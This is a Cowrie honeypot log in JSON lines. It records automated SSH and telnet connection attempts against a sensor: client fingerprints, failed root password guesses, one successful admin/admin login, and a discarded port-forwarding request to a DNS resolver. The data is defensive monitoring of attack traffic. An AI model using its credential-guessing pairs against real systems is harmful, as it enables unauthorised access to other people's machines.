{"eventid":"cowrie.session.closed","duration":64.48808717727661,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:06.343357Z","src_ip":"94.23.66.112","session":"39a2b466a277","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":39278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c76abf775837","protocol":"ssh","message":"New connection: 103.77.175.15:39278 (159.203.135.109:22) [session: c76abf775837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:32.740860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:32.744984Z","src_ip":"103.77.175.15","session":"c76abf775837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:32.996385Z","src_ip":"103.77.175.15","session":"c76abf775837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvbn","message":"login attempt [root/cvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:33.753289Z","src_ip":"103.77.175.15","session":"c76abf775837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:35.007111Z","src_ip":"103.77.175.15","session":"c76abf775837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":36834,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f949dd238a","protocol":"ssh","message":"New connection: 38.93.206.2:36834 (159.203.135.109:22) [session: 96f949dd238a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:54.766217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:54.770858Z","src_ip":"38.93.206.2","session":"96f949dd238a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:54.824747Z","src_ip":"38.93.206.2","session":"96f949dd238a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29091982","message":"login attempt [root/29091982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:54.989204Z","src_ip":"38.93.206.2","session":"96f949dd238a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:12:56.041290Z","src_ip":"38.93.206.2","session":"96f949dd238a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.29.234.126","src_port":47196,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c2a247ec884","protocol":"ssh","message":"New connection: 46.29.234.126:47196 (159.203.135.109:22) [session: 3c2a247ec884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:14.373291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:14.378206Z","src_ip":"46.29.234.126","session":"3c2a247ec884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:14.492755Z","src_ip":"46.29.234.126","session":"3c2a247ec884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssW0rd","message":"login attempt [root/P@ssW0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:14.984515Z","src_ip":"46.29.234.126","session":"3c2a247ec884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:16.100645Z","src_ip":"46.29.234.126","session":"3c2a247ec884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51218,"dst_ip":"10.17.0.5","dst_port":22,"session":"51d2c3b31a12","protocol":"ssh","message":"New connection: 194.59.206.2:51218 (10.17.0.5:22) [session: 51d2c3b31a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:18.788946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:18.795722Z","src_ip":"194.59.206.2","session":"51d2c3b31a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:18.880908Z","src_ip":"194.59.206.2","session":"51d2c3b31a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:18.970529Z","src_ip":"194.59.206.2","session":"51d2c3b31a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":14893,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbada2e8c666","protocol":"ssh","message":"New connection: 178.20.210.208:14893 (159.203.135.109:22) [session: dbada2e8c666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:26.299821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:26.303405Z","src_ip":"178.20.210.208","session":"dbada2e8c666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:26.405786Z","src_ip":"178.20.210.208","session":"dbada2e8c666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"admin1","message":"login attempt [ubnt/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:26.815702Z","src_ip":"178.20.210.208","session":"dbada2e8c666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:27.921817Z","src_ip":"178.20.210.208","session":"dbada2e8c666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37528,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ed4b104155","protocol":"ssh","message":"New connection: 87.251.64.176:37528 (10.17.0.5:22) [session: a0ed4b104155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.099174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.103807Z","src_ip":"87.251.64.176","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.203490Z","src_ip":"87.251.64.176","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.577030Z","src_ip":"87.251.64.176","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.673257Z","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.768803Z","src_ip":"87.251.64.176","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:13:56.866735Z","src_ip":"87.251.64.176","session":"a0ed4b104155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34236,"dst_ip":"10.17.0.5","dst_port":22,"session":"8591ad8b68bc","protocol":"ssh","message":"New connection: 103.122.221.179:34236 (10.17.0.5:22) [session: 8591ad8b68bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:14:10.089027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:14:10.093284Z","src_ip":"103.122.221.179","session":"8591ad8b68bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:14:10.346840Z","src_ip":"103.122.221.179","session":"8591ad8b68bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28021993","message":"login attempt [root/28021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:14:11.110369Z","src_ip":"103.122.221.179","session":"8591ad8b68bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:14:12.369164Z","src_ip":"103.122.221.179","session":"8591ad8b68bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"51ed2fd44037","protocol":"ssh","message":"New connection: 147.45.199.80:55510 (10.17.0.5:22) [session: 51ed2fd44037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:03.502571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:03.507363Z","src_ip":"147.45.199.80","session":"51ed2fd44037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:16:03.603156Z","src_ip":"147.45.199.80","session":"51ed2fd44037","protocol":"ssh"}
